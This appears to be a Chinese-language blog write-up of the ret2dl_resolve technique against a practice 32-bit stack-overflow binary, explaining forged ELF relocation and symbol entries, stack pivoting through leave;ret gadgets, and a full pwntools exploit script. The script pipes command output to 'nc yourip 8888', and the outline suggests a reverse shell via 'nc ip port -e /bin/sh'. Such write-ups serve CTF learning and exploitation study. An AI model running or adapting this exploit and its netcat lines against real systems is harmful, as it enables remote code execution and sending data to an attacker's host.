ret2dl_resolve exp

前言

  在上篇文章中说过dl_runtime_resolve延迟绑定的技术原理,这篇记录ret2dl_resolve的攻击方法。

DEMO

  代码很简单:

1
2
3
4
5
6
7
8
9
10
11
int main()
{
read_msg();
return 0;
}
int read_msg()
{
char buf; // [esp+0h] [ebp-28h]

return read(0, &buf, 64);
}

  还是一个stack overflow,但是没有libc、没有write等打印函数,所以也泄露不了信息。再加上这只能输入64个字节。考虑用ret2dl_resolve

ret2dl_resolve

  根据上一篇文章,大概的攻击思路如下:

  • 1、在一段可控的地址内伪造好Elf32_RelElf32_Sym、需要调用的函数名称(如system)、函数的参数(如nc ip port -e /bin/sh)
  • 2、计算好那段地址跟dynsym的距离,并放入栈顶
  • 3、调用plt[0],这里会push link_map; jmp _dl_runtime_resolve

  这里先贴内存的布局,方便exp的理解:




  其中的system_offsetElf32_Rel.r_infoElf32_Sym.st_name就是需要我们计算的值,其余的A,B,C都是填充用的,为了对齐或好看。同时我们可以使用bss段来布局,但要注意选择在bss + 0x300以上的地址,具体原因不明。。。经过死调调不出来得出。。。

栈迁移控eip

  布局好后,接下来考虑的就是如何控制eip指向plt[0],实现system调用。

  这里用到了栈迁移,首先看看漏洞位置:




  注意到有leave; ret,并且用ROPgadget还可以找到另一个leave;ret gadget。那么前面一个leave; ret就可以控制ebp,后面一个控esp,eip

1
2
leave  == mov esp,ebp;  pop ebp;
ret == pop eip

  我们布好需要切过去的地址,在第一次pop ebp时就能将栈切过去,然后第二次leave时将mov esp, ebp,控制esp的值,从而在ret的时候因为前面popesp要+4,也就是我们构造好如'A' * 4 + p32(需要控去的地址),就能劫持eip

  布局:




  第一次leave; ret,控了ebp






  第二次leave; ret,控了esp,从而控住eip






  以上就是通过栈迁移劫持eip的过程。

exp

  有了上面的准备后,写出exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding:utf-8 -*-
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

# p = remote('127.0.0.1', 10000)
p = process('./babystack')
pelf = ELF('./babystack')

read_plt = pelf.plt["read"]
read_got = pelf.got["read"]
bss_addr = pelf.bss()
bss_stage = bss_addr + 0x800 # 大于 0x300
print "addr_bss: " , hex(bss_stage)

main_addr = 0x08048457
read_msg = 0x0804843B
leave_ret = 0x080483a8
pop_pop_pop_ret = 0x080484e9
pop_ebp_ret = 0x080484eb

payload = 'a' * 40 + p32(bss_stage) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_stage) + p32(0x100)
print "len(payload): ", hex(len(payload))
# p.send(payload) # 这里不到 0x100 个,再凑一些再发

pause()
dynsym = 0x080481cc # (SYMTAB) 0x80481cc
jmprel = 0x080482b0 # (JMPREL) 0x80482b0
dynstr = 0x0804822c # (STRTAB) 0x804822c
plt_0_addr = 0x080482F0


fake_system_rel = bss_stage + 0x20 # len(go_to_plt_0) == 0x10
fake_system_sym = fake_system_rel + 8 + 4 # Elf32_Rel 占8个字节, 加8填充
sys_str_addr = fake_system_sym + 16 # Elf32_Sym 占16个字节, len("system\x00") = 7
system_offset = fake_system_rel - jmprel
cmd = "system\x00"
args_addr = sys_str_addr + len(cmd)
go_to_plt_0 = "BBBB" + p32(plt_0_addr) + p32(system_offset) + "BBBB" + p32(args_addr) + "B" * 12

def fake_Elf32_Rel():
r_offset = p32(read_got)
r_info = ((fake_system_sym - dynsym) / 0x10) << 8
r_info = r_info | 0x7
return r_offset + p32(r_info) + 'C' * 4


def fake_Elf32_Sym():
st_name = sys_str_addr - dynstr
return p32(st_name) + p32(0x0) + p32(0x0) + p32(0x12)


faker = go_to_plt_0 + fake_Elf32_Rel() + fake_Elf32_Sym() + cmd + "ls|nc yourip 8888\x00"
together = (payload + faker).ljust(0x100, '\x00')
print "len(together): ", hex(len(together))
p.send(together)

p.interactive()

  另一种使用roputils学习了再写。。。

参考链接

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×